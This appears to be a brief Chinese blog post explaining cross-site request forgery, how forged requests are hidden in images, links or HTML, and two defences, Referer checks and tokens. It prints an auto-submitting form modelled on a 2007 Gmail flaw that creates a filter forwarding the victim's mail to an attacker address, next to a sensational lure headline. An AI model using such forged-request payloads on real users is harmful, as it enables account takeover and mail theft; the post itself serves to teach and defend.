CSRF跨站请求伪造

上篇文章总结了遇到过的一个XSS漏洞问题,这次顺便写写自己了解的CSRF。

CSRF是Cross-site request forgery的缩写,中文的世界一般说法是跨站请求伪造。简单地说,就是黑客伪造了一个目标网站的地址,欺骗用户去点击用浏览器打开这个地址,如果用户登陆了这个网站,就可以绕过后台用户身份验证,执行一些操作。

伪造的请求地址可以包装成图片、超链接、HTML文本等,通常通过评论、留言放在第三方网站(也可以放在目标网站中)或邮件主体内容中,诱导用户点击。利用用户登陆目标网站,Cookie有效,冒充用户真实身份,执行发邮件、发消息、购物、转账等操作。

图片类型:

超链接类型:
惊爆!范冰冰艳照真流出了!!!

HTML文本:

<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> 
    <input type="hidden" name="cf2_emc" value="true"/> 
    <input type="hidden" name="cf2_email" value="hacker@hakermail.com"/> 
    .....
    <input type="hidden" name="irf" value="on"/> 
    <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> 
</form> 
<script> 
    document.forms[0].submit();
</script>

例如:Google Gmail 2007年CSRF漏洞。

如何防御:
0、校验请求Referer。

1、token校验。

参考:
维基百科CSRF中文
维基百科CSRF英文
美团如何防止CSRF攻击

发表评论

电子邮件地址不会被公开。 必填项已用*标注